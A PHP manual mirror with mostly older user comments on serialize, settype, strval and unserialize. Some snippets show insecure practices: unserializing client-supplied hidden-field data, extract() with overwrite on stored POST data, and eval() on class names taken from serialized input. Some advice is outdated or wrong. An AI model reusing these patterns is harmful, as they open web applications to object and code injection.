iam4webwork at hotmail dot com
15-Sep-2003 08:00
I think an example is in order to specify what is meant by "returns a string containing a byte-stream representation of value that can be stored anywhere."

Here's an example:

<?php
echo serialize("php");
?>

Result is as follows:

s:3:"php";

The cryptic result is a string indicating that the serialized data is itself a string of 3 bytes whose value is "php".
james at gogo dot co dot nz
30-Jul-2003 06:04
I just spent an hour rifling through code to find the cause of a problem
only to find it's an oddity with serialization and recursive objects, so
figured I'd post for the next person who gets the same problem.

********************************* Symptoms *********************************
When unserializing a previously serialized object, the __wakeup() function
is mysteriously called more than once, and the accessing the objects
properties from the "outside" gives different results than accessing them
from an object contained within the object and holding  a recursive
reference to the object.

********************************** Example *********************************
<?php
class foo2 {
       var $foo = NULL;
       function foo2(&$foo) {
               $this->foo =& $foo;
       }

       function fooName() {
               echo 'foo2 thinks foo->name is ' . $this->foo->name . '<br>';
       }
}

class foo {
       var $name  = 'unnamed';
       var $foo2 = NULL;

       function foo() {
               $this->foo2 =& new foo2($this);
       }

       function fooName() {
               echo 'foo thinks foo->name is ' . $this->name . '<br>';
       }

       function __wakeup() {
               echo "foo is waking up<br>";
       }
}

$myFoo        =& new foo();
$myFoo->name  = 'myFoo';
echo "I think foo->name is {$myFoo->name}.<br>";
$myFoo->fooName();
$myFoo->foo2->fooName();

$serializedFoo = serialize($myFoo);
$myNewFoo      = unserialize($serializedFoo);

$myNewFoo->name = 'myNewFoo';
echo "I think foo->name is {$myNewFoo->name}.<br>";
$myNewFoo->fooName();
$myNewFoo->foo2->fooName();
?>

********************************** Analysis ********************************
execution of the example produces...

I think foo->name is myFoo.
foo thinks foo->name is myFoo
foo2 thinks foo->name is myFoo
foo is waking up
foo is waking up
I think foo->name is myNewFoo.
foo thinks foo->name is myNewFoo
foo2 thinks foo->name is myFoo

We can see that the first three lines are as expected, however we see
__wakeup is happening twice, and then the final line is in error as foo2
apparently does not see the changed name.

What is happening is that there are actually two seperate foo objects being
deserialized, the "top level one" and the one that was originally
referenced in foo2, that is, the reference is not being serialized as a
reference but rather a whole object.  This is evident in the two __wakeup()
calls, there are two foo objects being woken up.

******************************** Solution **********************************
The solution is very simple, when serializing it is necessary to force the
passing of a reference to the top-level object being serialized thus..

$serializedFoo = serialize(&$myFoo);

with that form of the serialization (note the ampersand to force passing of
reference), the example produces the following..

I think foo->name is myFoo.
foo thinks foo->name is myFoo
foo2 thinks foo->name is myFoo
foo is waking up
I think foo->name is myNewFoo.
foo thinks foo->name is myNewFoo
foo2 thinks foo->name is myNewFoo

We note now there is only one __wakeup() call being made and that all
parties agree on the name property of the foo object.

******************************** Notes ************************************
I was of the belief that ampersand's in the arguments to functions was
deprecated in favour of ampersands in the function's parameter list
declaration (i.e instead of "blah(&$my_thing)" we declare blah as "function
blah(&$your_thing) {...}"), however this required use of serialize seems to
contravene this deprecation as it is plainly necessary to use the ampersand
in the function call here.  Perhaps this is a hold-over from earlier times
and will be changed in the future ?

--
James Sleeman (http://www.gogo.co.nz/)
dan at mojavelinux dot com
19-Jul-2003 03:08
In order to safely unserialize a complex object in any context, it is wise to save two files at the time of serialization (or save the file in two parts).  One file will contain the result of get_included_files() at the time of serialization and the other file contains the serialized version of the object.  To unserialize, simply read in the included file list and call include_once on all of those files and then call unserialize on your object data.

While this may be slightly inefficient because certain files that were included are no longer needed (maybe they were only needed when creating the object), at least you can be sure the object data is going to come out of serialization okay.

Note: If you stick to the convention of classes beginning with uppercase (and the filenames following the classnames) then you can even filter the get_included_files() list to get only the class definition files.
webmaster at feeltong dot com
12-Jun-2003 06:49
People usually use 'hidden' fields when they submit some variables from previous step to the next step even if they have so many varibles to send. It will look like following form.

<form name='tmpForm' method='post' action='nextStep.php'>
<input type='hidden' name='var[name]' value='<?=$var[name]?>'>
<input type='hidden' name='var[id]' value='<?=$var[id]?>'>
<input type='hidden' name='var[address]' value='<?=$var[address]?>'>
<input type='hidden' name='var[age]' value='<?=$var[age]?>'>
<input type='hidden' name='var[gender]' value='<?=$var[gender]?>'>
<input type='hidden' name='var[car]' value='<?=$var[car]?>'>
.
.
.
</form>

Look at the following codes. It is more simplified. I'd better use base64_encode and serialize than stripslashes and serialize.

<form name='tmpForm' method='post' action='nextStep.php'>
<input type='hidden' name='var' value='<?=base64_encode(serialize($var))?>'>
</form>

Have Fun !!!
rodrigo at ditech dot com dot br
18-Apr-2003 02:38
Hi!
If you wanna save all the POST data and reload it again in another time... you can use this:
(Thanks for my_stripslashes() function ;-)

<?php
// saving POST
if ($REQUEST_METHOD=="POST") {
   $fp = fopen("postData.txt","w");
  $data = addslashes(serialize($_POST));
  fwrite($fp, $data);
   fclose($fp);
}

// reloading POST and passing to variables
if (file_exists("postData.txt")) {
  $data = file("postData.txt");
  $data = my_stripslashes($data[0]); // catches it in some message above
  $postData = unserialize($data);
   extract($postData, EXTR_OVERWRITE);
}
?>

Now you have all variables from old POST in your actual script.
Well useful when you have a great form very used and of course, DEPENDING of your tool.
pli9 at itsa dot ucsf dot edu
01-Feb-2003 03:05
I have also written some code for importing serialized PHP data into PERL and then writing it back into PHP.  I think the similar library posted above is actually more robust for a few select cases, but mine is more compact and a little easier to follow.  I'd really like comments if anyone finds this useful or has improvements.  Please credit me if you use my code.

http://www.hcs.harvard.edu/~pli/code/serialPHP.pm
kjh90 at orgio dot net
20-Mar-2002 04:43
If you want to put serialized data into DB, you have to add slashes.
At this point, there's a problem. If you got data via HTTP POST method, the data has slashes already. I tried to work with "array_walk" or "array_map", but it doesn't work when the data has array.
So make extended stripslashes function.

<?php
function my_stripslashes($vals) {
   if (is_array($vals)) {
       foreach ($vals as $key=>$val) {
           $vals[$key]=my_stripslashes($val);
       }
   } else {
       $vals = stripslashes($vals);
   }
   return $vals;
}

$data = addslashes(serialize($_POST));
...
$SQL="insert into DB() values($data)";
...
$SQL="select data from DB";
...
$data = my_stripslashes($data);
...
?>
18-Jul-2001 09:39
BEWARE: if you serialize to store values on a database, and the variables you are serializing already have the " (double-quote) char, you may have a problem. After serializing you will have var delimiters as " and content " (double-quotes) escaped, but your databse may just treat them like the same. You end up with a failed unserialize. You want something like:

a:5:{s:9:"this is a \"quote\"";a:1:{s:(ETC)

And not:
a:5:{s:9:"this is a "quote"";a:1:{s:(ETC)

So just make sure you double escape content quotes ...

It's simple, but i can't explain it any simpler =(
abk at avatartechnology dot com
17-Jul-2001 04:10
BEWARE: if you are serializing a complex object with recursive references, serialize a reference to the object. Otherwise you'll get strange and mysterious results.

Always this: $str = serialize(&$object);
not this: $str = serialize($object);
scott (at) hurring.com
13-Jul-2001 05:44
I have written a perl module that does the same thing as PHP's serialize() and unserialize() commands so that Perl can now serialize and unserialize data in the same format as PHP.

It's quite handy for storing information in databases or files (or anywhere, really) that both PHP and Perl scripts need to read from and write to.

It supports string, double, integer, and array types (no object or reference support).

It's free code, too. :)

URL: http://hurring.com/code/perl/serialize/
sbarnum at mac dot com
25-May-2001 10:53
If you're having trouble with serialized strings, try this function.  Pass it the name of an array whose value you want to include in hidden form inputs, a url, or session variable.  Works with strings or multidimensional arrays.

<?php
   //////////////////////////////////////////////
   // propogate v0.8 by sbarnum
   // method can be 'form' or 'url' or 'session'
   //////////////////////////////////////////////
function propogate ($arrayName, $method='form', $arrayData=''){
   if($arrayData){
       // custom values passed to array, use these instead of globals
       ${$arrayName} = $arrayData;
   }else{
       // use global values
       global ${$arrayName};
   }
   if ($method == "session"){
       session_register(${$arrayName});
       return TRUE;
   }

   @reset(${$arrayName});
   while (list($key,$value)=@each(${$arrayName})){
       if (is_array($value)){
           $subArrayName = $arrayName . "[" . $key . "]";
           $html .= propogate ($subArrayName, $method, $value);
       }else{
           switch ($method){
               case "form":
               $html .= "<INPUT type='hidden' name='".$arrayName."[".$key."]' value='".htmlspecialchars($value)."'>\n";
               break;
               case "url":
               $html .= "&".$arrayName."[".$key."]=" . urlencode($value);
               break;
           }
       }
   }
   return $html;
}
?>
gleb at gleb dot org
20-Jan-2001 08:14
About serializing the arrays via hidden fields:
1st page:
$arr1 = array("HELLO");
<input type="hidden" name="arr1" value="&lt;? echo urlencode(serialize($arr1)); ?>">
2nd page:
$arr2 = unserialize(urldecode($arr1));
Important: you have to use urldecode function not stripslashes, simply won't work.
dmb27 at cornell dot edu
23-Oct-2000 07:58
Actually, you don't want to use addslashes() EVER when passing between pages( not in POST when passing in hidden fields, not in GET when appending to a URL).  Only use addslashes() with a database, that's the only time it helps you.

However, you still have work to do if you are sending variables to HTML pages.  If via Hidden fields in a <FORM> tag, use htmlentities().  This will turn all HTML speical characters into something your browser will interpret as characters, not HTML.  When you get to the next page, you don't need to do any decoding.

If you are using GET variables and appending to URL's, use urlencode() on the variable.  When you get to the next page, you don't need to do any decoding, your browser did it for you.
nargy at yahoo dot com
12-May-2000 04:46
About serialize/unserialize on objects:

Use this class to unserialize objects :

<?php
class Unserializable
{
  function unserialize($str)
  {
   $ary=unserialize($str);
   for(reset($ary);$kv=each($ary);)
   {
     $key=$kv[key];
     if (gettype($this->$key)!="user function")
       $this->$key=$kv[value];
   }
  }
}
?>
MarkRoedel at letu dot edu
22-Feb-2000 02:58
A call to serialize() appears to mess with the array's internal pointer.  If you're going to be walking through your array after serializing it, you'll want to make a call to reset() first.
add a note add a note

后退 | 起点 | 前进
print_r | 上一级 | settype


settype

(PHP 3, PHP 4, PHP 5)

settype -- 设置变量的类型

描述

bool settype ( mixed var, string type )

将变量 var 的类型设置成 type。

type 的可能值为：

  • “boolean” （或为“bool”，从 PHP 4.2.0 起）

  • “integer” （或为“int”，从 PHP 4.2.0 起）

  • “float” （只在 PHP 4.2.0 之后可以使用，对于旧版本中使用的“double”现已停用）

  • “string”

  • “array”

  • “object”

  • “null” （从 PHP 4.2.0 起）

如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. settype() 示例

<?php
$foo = "5bar"; // string
$bar = true;   // boolean

settype($foo, "integer"); // $foo 现在是 5   (integer)
settype($bar, "string");  // $bar 现在是 "1" (string)
?>

参见 gettype()、类型转换和类型戏法。

add a note add a note User Contributed Notes
ludvig dot ericson gmail.dot com
09-Apr-2006 11:36
To matt:
This function accepts a paremeter, which does not imply you using hardcoded stuff, instead you can let the user choose! \o/

As a part of a framework or something.

Plus, you can probably call this with call_user_func
matt at mattsoft dot net
07-Dec-2005 01:49
using (int) insted of the settype function works out much better for me. I have always used it. I personally don't see where settype would ever come in handy.
Michael Benedict
30-Oct-2005 01:55
note that settype() will initialize an undefined variable.  Therefore, if you want to preserve type and value, you should wrap the settype() call in a call to isset().

<?php
settype($foo, "integer");
echo("|$foo|");
?>

prints "|0|", NOT "||".

To get the latter, use:
<?php
if(isset($foo)) settype($foo, "integer");
echo("|$foo|");
?>
25-Oct-2005 09:30
James Reiher (IL) writes:
23-Feb-2005 06:50

$agentnum = "007";
$agentnum = settype($agentnum, "int");
echo $agentnum; // will show up as 1 instead of 7!

James, the return value of settype function is boolean, 1 if succsess.
Correct code: $success=settype($agentnum, "int");
The $agentnum is now 7 (not 007 or not 1)!
26-Sep-2005 04:24
In response to the comment by Neoja regarding validating every variable in the URL using settype -- that is wrong.

All value passed in the URL are strings, even if they are numbers. (Remember, they are passed in the header, which is a specially formatted string).
nospamplease at veganismus dot ch
22-Jul-2005 10:38
you must note that this function will not set the type permanently! the next time you set the value of that variable php will change its type as well.
17-May-2005 03:22
I needed to pull a zerofilled integer out of a MySQL table and increment it by a certain amount.  Unfortunately, PHP treated this integer as if it were a string when I tried to add an amount to it.  For instance:

<?php
$a = '0100';
$b = $a + 1;
print $b;
// This would print 64 instead of 101.
?>

To fix this I created a simple function:

<?php
function convertToInt($string) {
   $y = ltrim($string, '0');
   $z = 0 + $y;
   return $z;
}
// Now I can add any integer to my converted integer
$a = '0100';
$b = 2 + convertToInt($a);
print $b;
// This prints 102
?>
reinier_deblois at hotmail dot com
14-Mar-2005 01:18
Instead of settype you could use:
<?php

$int=593;  // $int is a integer

$int.="";
James Reiher (IL)
23-Feb-2005 01:50
I had a problem with PHP destroying the value of my integer with leading zeros as follows:

$agentnum = "007";
$agentnum = settype($agentnum, "int");
echo $agentnum; // will show up as 1 instead of 7!

Oddly enough, this works fine, (at least for PHP 4.3):
$agentnumber = "007";
$agentnumber += 0; // convert $number to numeric type
echo $agentnumber; // will now show up as 7!

If you do this for gods sake leave a comment on the line because its definitely not by-the-book coding. Another commentor here has used regular expressions to weed out the leading zeros, so I know its not the only solution.

I also tried the equivelant of:
$agentnum = "007";
$agentnum = (int)$agentnumber;
echo $agentnum;

But the result is a nonsense number, probably by using the concatenation of the ASCII codes as the integer.
memandeemail at gmail dot com
09-Dec-2004 09:17
/**
   * @return bool
   * @param array[byreference] $values
   * @desc Convert an array or any value to Escalar Object [not tested in large scale]
   */
   function setobject(&$values) {
       $values = (object) $values;
       foreach ($values as $tkey => $val) {
           if (is_array($val)) {
               setobject($val);
               $values->$tkey = $val;
           }
       }
       return (bool) $values;
   }
24-Nov-2004 05:34
in PHP3 converting a string to any number results in the value becoming 0.  To check if a string represents a number try this:
<PRE>
$test = "0001";
$testcp = $test;
settype($testcp,"double");

if (strval($testcp) === $test) {
   echo("\$test is a number");
} else {
   echo ("\$test is not a number");
}
</PRE>
sdibb at myway dot com
07-Sep-2003 01:03
Using settype is not the best way to convert a string into an integer, since it will strip the string wherever the first non-numeric character begins.  The function intval($string) does the same thing.

If you're looking for a security check, or to strip non-numeric characters (such as cleaning up phone numbers or ZIP codes),  try this instead:

<?
     $number=ereg_replace("[^0-9]","",$number);
?>
djworld at php dot net
17-Jul-2002 09:02
Usually it won't be necessary to use this function, but some times you need to be sure the variables are of some kind. For example, if you send a number to a database query from a variable passed by GET or POST, you may get sure it's a number by doing SetType ($var, 'integer'); so you can avoid security holes if it isn't a number and you don't need to addslashes() it, or for example, if you need to be sure that a number won't have any decimals after rounding it, you may do the same and as it will be an integer, it won't contain decimals.

(ed: change to reflect deleted of other notes)
r dot schechtel at web dot de
07-Aug-2001 05:59
To: neoja@hotmail.com

I believe in this case testing the $id using is_numeric() would be the better solution.

E.g something like this:

<?php
 if (is_numeric($id)) {
  $db->query($sql);
 }
?>

Roman Schechtel
neoja at hotmail dot com
18-Feb-2001 10:42
It is always good to validate all the variables that are given in the url and would cause an error if they are of wrong type. For example, if your page is products.php?id=123 then run settype($id, "integer") in the script, before getting the product info from the database. If the user enters a non-numeric value in the url -- either pasting it wrong or intentionally :) -- the $id will be set to zero and database query will have no errors.
slushpupie at hotmail dot com
23-Jul-2000 12:07
in PHP3 converting a string to any number results in the value becoming 0.  To check if a string represents a number try this:
<PRE>
$test = "0001";
$testcp = $test;
settype($testcp,"double");

if (strval($testcp) == $test) {
   echo("\$test is a number");
} else {
   echo ("\$test is not a number");
}
</PRE>
support at mastebyte dot de
12-Jul-2000 03:39
Note that settype($string, "integer") will set $string to 0 if $string contains any lettery, but the function call will be TRUE
ns at canada dot com
06-May-2000 07:38
This settype() behaviour seems consistent to me. Quoting two sections from the manual:

"When casting from a scalar or a string variable to an array, the variable will become the first element of the array: "
<pre>
2 $var = 'ciao';
3 $arr = (array) $var;
4 echo $arr[0];  // outputs 'ciao'
</pre>

And if (like your code above) you do a settype on an empty variable, you'll end up with a one element array with an empty (not unset!) first element. So appeanding to it will start appending at index 1. As for why reset() doesn't do anything:

"When you assign a value to an array variable using empty brackets, the value will be added onto the end of the array."

It doesn't matter where the array counter is; values are added at the end, not at the counter.
tboothby at felfel dot com
11-Apr-2000 10:33
settype() for some reason increases the initial internal counter for the index of an array if you use<br>
settype($foo, "array");$foo[]='bar';<br>
'bar' will be stored in $foo[1].  furthermore, if you use<br>
reset($foo);$foo[]='barr';<br>
'barr' will be stored in $foo[1] again!
i'm using version 3.0.12 on linux 2.2.5-22
jeffg at NOcounterintuitive dot orgSPAM
28-Oct-1999 05:46
It's worth noting that one can neither <I>settype()</i> nor type-cast a variable as a long.  The workaround for this seems to be to use <I>pack()</i>.
add a note add a note

后退 | 起点 | 前进
serialize | 上一级 | strval


strval

(PHP 3, PHP 4, PHP 5)

strval -- 获取变量的字符串值

描述

string strval ( mixed var )

返回 var 的 string 值。 参见 string 文档获取更多关于字符串转换的信息。

var 可以是任何标量类型。不能将 strval() 用于数组或对象。

参见 floatval()、intval()、settype() 和类型戏法。

add a note add a note User Contributed Notes
portos_ze_retour at hotmail dot fr
11-Mar-2006 12:15
In complement to Tom Nicholson's contribution, here is the french version (actually it's possible to change the language, but you should check the syntax ;) )

function int_to_words($x) {
   global $nwords;

   if(!is_numeric($x))
     $w = '#';
   else if(fmod($x, 1) != 0)
     $w = '#';
   else {
     if($x < 0) {
         $w = $nwords['minus'].' ';
         $x = -$x;
     } else
         $w = '';
     // ... now $x is a non-negative integer.

     if($x < 21)  // 0 to 20
         $w .= $nwords[$x];
     else if($x < 100) {  // 21 to 99
         $w .= $nwords[10 * floor($x/10)];
         $r = fmod($x, 10);
         if($r > 0)
           $w .= '-'. $nwords[$r];
     } else if($x < 1000) {  // 100 to 999
         $w .= $nwords[floor($x/100)] .' '.$nwords['hundred'];
         $r = fmod($x, 100);
         if($r > 0)
           $w .= ' '.$nwords['separator'].' '. int_to_words($r);
     } else if($x < 1000000) {  // 1000 to 999999
         $w .= int_to_words(floor($x/1000)) .' '.$nwords['thousand'];
         $r = fmod($x, 1000);
         if($r > 0) {
           $w .= ' ';
           if($r < 100)
               $w .= $nwords['separator'].' ';
           $w .= int_to_words($r);

         }
     } else {    //  millions
         $w .= int_to_words(floor($x/1000000)) .' '.$nwords['million'];
         $r = fmod($x, 1000000);
         if($r > 0) {
           $w .= ' ';
           if($r < 100)
               $word .= $nwords['separator'].' ';
           $w .= int_to_words($r);
         }
     }
   }
   return $w;
}

 // Usage in English
$nwords = array( "zero", "one", "two", "three", "four", "five", "six", "seven",
                   "eight", "nine", "ten", "eleven", "twelve", "thirteen",
                   "fourteen", "fifteen", "sixteen", "seventeen", "eighteen",
                   "nineteen", "twenty", 30 => "thirty", 40 => "forty",
                   50 => "fifty", 60 => "sixty", 70 => "seventy", 80 => "eighty",
                   90 => "ninety" , "hundred" => "hundred", "thousand"=> "thousand", "million"=>"million",
                   "separator"=>"and", "minus"=>"minus");

echo 'There are currently '. int_to_words(-120223456) . ' members logged on.<br>';

 //Utilisation en Francais
$nwords = array( "zro", "un", "deux", "trois", "quatre", "cinq", "six", "sept",
                   "huit", "neuf", "dix", "onze", "douze", "treize",
                   "quatorze", "quinze", "seize", "dix-sept", "dix-huit",
                   "dix-neuf", "vingt", 30 => "trente", 40 => "quarante",
                   50 => "cinquante", 60 => "soixante", 70 => "soixante-dix", 80 => "quatre-vingt",
                   90 => "quatre-vingt-dix" , "hundred" => "cent", "thousand"=> "mille", "million"=>"million",
                   "separator"=>"", "minus"=>"moins");

echo 'Il y a actuellement '. int_to_words(-120223456) . ' membres connects.<br>';
anthony dot parsons at manx dot net
10-Jan-2006 01:59
If you have to compare object variables like this be careful not to make a typo, or you could end up calling __set() -
<?php
/* Does what you'd expect it to */
if ( $user->password == $user2->password )

/* Doesn't */
if ( $user->password = $user2->password )
?>

To avoid that ever happening, do it like this:
<?php
if ( strval($user->password) == $user2->password )
?>
php at ianco dot co dot uk
07-Oct-2005 07:36
I can't help being surprised that

(string)"0" == (string)"0.00"

evaluates to true. It's the same with strval and single quotes.
=== avoids it.

Why does it matter? One of my suppliers, unbelievably, uses 0 to mean standard discount and 0.00 to mean no discount in their stock files.
Steve Ball
09-Sep-2005 10:18
It seems that one is being treated as an unsigned large int (32 bit), and the other as a signed large int (which has rolled over/under).

2326201276 - (-1968766020) =  4294967296.
brettsg at serialio dot com
03-Aug-2005 12:07
How come this code in version 4.4 does something different than in version 4.3?

$val = 538759009 ^ 0xAABBCCDD;
print "val=" . $val;

= 2326201276 (version 4.4)

and

= -1968766020 (version 4.3)
Redbeard
25-Aug-2004 05:40
You can also use the PEAR package Numbers_Words, which handles many other languages.
Tom Nicholson
29-Apr-2004 12:13
If you want to convert an integer into an English word string, eg. 29 -> twenty-nine, then here's a function to do it.

Note on use of fmod()
  I used the floating point fmod() in preference to the % operator, because % converts the operands to int, corrupting values outside of the range [-2147483648, 2147483647]

I haven't bothered with "billion" because the word means 10e9 or 10e12 depending who you ask.

The function returns '#' if the argument does not represent a whole number.

<?php
$nwords = array( "zero", "one", "two", "three", "four", "five", "six", "seven",
                   "eight", "nine", "ten", "eleven", "twelve", "thirteen",
                   "fourteen", "fifteen", "sixteen", "seventeen", "eighteen",
                   "nineteen", "twenty", 30 => "thirty", 40 => "forty",
                   50 => "fifty", 60 => "sixty", 70 => "seventy", 80 => "eighty",
                   90 => "ninety" );

function int_to_words($x) {
   global $nwords;

   if(!is_numeric($x))
     $w = '#';
   else if(fmod($x, 1) != 0)
     $w = '#';
   else {
     if($x < 0) {
         $w = 'minus ';
         $x = -$x;
     } else
         $w = '';
     // ... now $x is a non-negative integer.

     if($x < 21)  // 0 to 20
         $w .= $nwords[$x];
     else if($x < 100) {  // 21 to 99
         $w .= $nwords[10 * floor($x/10)];
         $r = fmod($x, 10);
         if($r > 0)
           $w .= '-'. $nwords[$r];
     } else if($x < 1000) {  // 100 to 999
         $w .= $nwords[floor($x/100)] .' hundred';
         $r = fmod($x, 100);
         if($r > 0)
           $w .= ' and '. int_to_words($r);
     } else if($x < 1000000) {  // 1000 to 999999
         $w .= int_to_words(floor($x/1000)) .' thousand';
         $r = fmod($x, 1000);
         if($r > 0) {
           $w .= ' ';
           if($r < 100)
               $w .= 'and ';
           $w .= int_to_words($r);
         }
     } else {    //  millions
         $w .= int_to_words(floor($x/1000000)) .' million';
         $r = fmod($x, 1000000);
         if($r > 0) {
           $w .= ' ';
           if($r < 100)
               $word .= 'and ';
           $w .= int_to_words($r);
         }
     }
   }
   return $w;
}

?>

Usage:
<?php
echo 'There are currently '. int_to_words($count) . ' members logged on.';
?>
add a note add a note

后退 | 起点 | 前进
settype | 上一级 | unserialize


unserialize

(PHP 3 >= 3.0.5, PHP 4, PHP 5)

unserialize -- 从已存储的表示中创建 PHP 的值

描述

mixed unserialize ( string str [, string callback] )

unserialize() 对单一的已序列化的变量进行操作，将其转换回 PHP 的值。返回的是转换之后的值，可为 integer、float、string、array 或 object。如果传递的字符串不可解序列化，则返回 FALSE。

unserialize_callback_func 指令: 如果在解序列化的时候需要实例化一个未定义类，则可以设置回调函数以供调用（以免得到的是不完整的 object “__PHP_Incomplete_Class”）。可通过 php.ini、ini_set() 或 .htaccess 定义‘unserialize_callback_func’。每次实例化一个未定义类时它都会被调用。若要禁止这个特性，只需置空此设定。还需要注意的是 unserialize_callback_func 指令是从 PHP 4.2.0 开始提供使用的。

注: callback 参数是在 PHP 4.2.0 中添加的

若被解序列化的变量是一个对象，在成功地重新构造对象之后，PHP 会自动地试图去调用 __wakeup() 成员函数（如果存在的话）。

例子 1. unserialize_callback_func 示例

<?php
$serialized_object='O:1:"a":1:{s:5:"value";s:3:"100";}';

// unserialize_callback_func 从 PHP 4.2.0 起可用
ini_set('unserialize_callback_func','mycallback'); // 设置您的回调函数

function mycallback($classname) {
    // 只需包含含有类定义的文件
    // $classname 指出需要的是哪一个类
}
?>

注: 在 PHP 3 中，解序列化一个对象时是不保存方法的。而 PHP 4 打破了这个限制，同时保存了属性和方法。请参见类与对象中的序列化对象部分获取更多信息。

例子 2. unserialize() 示例

<?php
// 这里，我们使用 unserialize() 装载来自数据库的 $session_data 数组中的会话数据。
// 此例是描述 serialize() 的那个例子的补充。

$conn = odbc_connect ("webdb", "php", "chicken");
$stmt = odbc_prepare ($conn, "SELECT data FROM sessions WHERE id = ?");
$sqldata = array ($PHP_AUTH_USER);
if (!odbc_execute ($stmt, &$sqldata) || !odbc_fetch_into ($stmt, &$tmp)) {
    // 如果执行出错或返回错误，则初始化为空数组
    $session_data = array();
} else {
    // 现在我们需要的是 $tmp[0] 中已序列化的数据。
    $session_data = unserialize ($tmp[0]);
    if (!is_array ($session_data)) {
        // 出错，初始化为空数组
        $session_data = array();
    }
}
?>

参见 serialize()。

add a note add a note User Contributed Notes
chad 0x40 herballure 0x2e com
06-May-2006 12:08
When unserializing in PHP5 (behavior observed with 5.1.2), __autoload() will be checked first, and unserialize_callback_func called only if __autoload failed to load the class definition.
fhummel at hotmail dot com
02-Mar-2006 01:37
I have noticed that using the eval function as described in other posts might produce class redefinitions if separate class files are used and included.

My solution was to include_once at the top all .php files with classes that will be used on a particular page. This way the class definition exists when unserialize is called and you get the no duplicate check for free by using include_once.

Maybe someone can chime in on how this might affect performance.
onuryerlikaya at hotmail dot com
10-Feb-2006 08:00
<?php

// Create your array()
$array = array("First","Second","Third");
// Create your package
$package = serialize($array);

// You can print your serialized package
// a:3:{i:0;s:5:"First";i:1;s:6:"Second";i:2;s:5:"Third";}
print $package."<br>";

// Unserialize your serialized package with print_r or var_dump
$data    = unserialize($package);
print_r($data);
// var_dump($data); // It's same as print_r
// Array ( [0] => First [1] => Second [2] => Third )
?>
Jules
30-Jan-2006 12:49
"Moreover, you must be *very* careful when using eval() as it can be easily used to do something nasty."

Actually, you should probably be equally careful with unserialize, as using it might result in code from your (or standard PHP) classes being executed when you aren't expecting it.  It's clearly harder to exploit, but the possibility is there.  Therefore, only unserialize data that you know you generated yourself (either because it's stored where you put it, or because its signed, or has been validated in some other way).
mina86 at projektcode dot org
20-Jan-2006 02:28
Accualy artistan's function does not work (there should be $serialized_data instead of $text in function body). Moreover, you must be *very* careful when using eval() as it can be easily used to do something nasty. Here comes what I've made basing on the two available versions:

<?php
function unserialize_data($str, $objs = true) {
   if ($objs && preg_match_all('/O:\d+:"([a-zA-Z0-9_]+)":/', $str, $arr)) {
       $callback = ini_get('unserialize_callback_func');
       foreach ($arr[1] as $cls) {
           if (!class_exists($cls)) {
               call_user_func($callback, $cls);
           }
           if (!class_exists($cls)) {
               eval('class ' . $cls . ' { }');
           }
       }
   }
   return unserialize($str);
}
?>

However, better (not tested though) sollution seems to be:

<?php
function declare_empty_class($classname) {
   static $callback = null;
   if ($callback===null) {
       $callback = $classname;
       return;
   }
   if ($callback) {
       call_user_func($callback, $classname);
   }
   if (!class_exists($classname)) {
       eval('class ' . $classname . ' { }');
   }
}
declare_empty_class(ini_get('unserialize_callback_func'));
ini_set('unserialize_callback_func', 'declare_empty_class');
?>
artistan at cableone dot net
12-Jan-2006 12:46
// thanks to user comments I created this

   /**
       UnSerialize and return data
       @param string [$serialized_data] data to unserialize
       @return mixed
   */
   function unserialize_data($serialized_data,$objects=true){
       if($objects){
           // thanks to comment from veg@rd.no 04-Jan-2006 10:34 at http://us2.php.net/manual/en/function.unserialize.php
           // make classes for those that do not exist
           $matches = Array();
           preg_match_all('/O:(\d)*:"([^":]*)":/', $text, $matches);
           foreach ($matches[2] as $class)
           {
               if(!class_exists($class))
                   eval('class '.$class.' { }');
           }
       }
         return unserialize($serialized_data);
   }

// if using php5 you may want to modify to use __autoload function.
veg at rd dot no
05-Jan-2006 02:34
Unserializing an object of a class that hasn't been declared where it is being unserialized will result in an unusable object. I do not know why this happens, but I know of two workarounds which I've written about here; http://vega.rd.no/entry/200601_serializing_objects_in_php

In short, the solution is to declare the class before unserializing the object; so this code will do when unserializing an object of type MyClass;

<?php
   class MyClass {}
   $object = unserialize($serializedData);
?>

However, if you have several different classes, which you don't necessarily know the names of beforehand, use this short function to handle it for you;

<?php
   function unserializeUnknownObject($text)
   {
       $matches = Array();
       preg_match_all('/O:(\d)*:"([^":]*)":/', $text, $matches);
       foreach ($matches[2] as $class)
       {
           eval('class '.$class.' { }');
       }
       return unserialize($text);
   }
   $object = unserializeUnknownObject($serializedData);
?>

This could also have been accomplished by using unserialize_callback_func.
tarwin at gmail dot com
18-Dec-2005 09:30
I screwed around with this for hours and hours and it was doing my head in. Hopefully this can help.

When I was loading my page which was unserializing a string it would just hang (not finish sending information to the browser) at random places if I had not put the Class information first.

This is probably obvious (I know it says that it "will not work" if I do not declare the classes first) but the strange error of randomly stopping putting data to the page was very offputting from the actual error. It seems to go for a few KB or something and then just decide to stop.
none at none dot none
11-Dec-2005 11:57
The only complaint I have about serializing, is that it will not save the variable name.  To fix this, as well as add support for more then one variable/array, I chose to write this class:

 class SaveVar
 {
  function store($list)
  {
   $sl = explode("|", $list);
   for ($i = 0; $i < count($sl); $i++)
   {
   $varname    = $sl[$i];
   global $$varname;
   $thevar    = $$varname;
   $serialized = serialize($thevar);
   $saved[$i] = base64_encode($varname)."@".base64_encode($serialized);
   }
   $data = implode("|", $saved);
   return($data);
  }

  function restore($stored)
  {
   $sv = explode("|", $stored);
   for ($i = 0; $i < count($sv); $i++)
   {
   $svp  = $sv[$i];
   list($name64, $value64) = explode("@", $svp);
   $name  = base64_decode($name64);
   $value = base64_decode($value64);
   global $$name;
   $$name = unserialize($value);
   }
  }
 }

----

An example of using this class is as follows...

----

 $arr1 = array("Hello", "World");
 $arr2 = array("World", "Hello");

 $sv = new SaveVar;

 $saved = $sv->store("arr1|arr2");

 $arr1 = NULL;
 $arr2 = NULL;

 echo $saved;
 echo "<HR>";
 $sv->restore($saved);

 print_r($arr1);
 echo "<BR>";
 print_r($arr2);

----

I hope someone finds this useful...

   -Jestin S Larson
martin dot goldinger at netserver dot ch
15-Aug-2005 07:48
When you use sessions, its very important to keep the sessiondata small, due to low performance with unserialize. Every class shoud extend from this class. The result will be, that no null Values are written to the sessiondata. It will increase performance.

<?
class BaseObject
{
   function __sleep()
   {
       $vars = (array)$this;
       foreach ($vars as $key => $val)
       {
           if (is_null($val))
           {
               unset($vars[$key]);
           }
       }
       return array_keys($vars);
   }
};
?>
ungu at terong dot com
06-Feb-2005 02:20
I got the same case as yabba at the dot hut with his post
>> caveat: stripslashes!!!

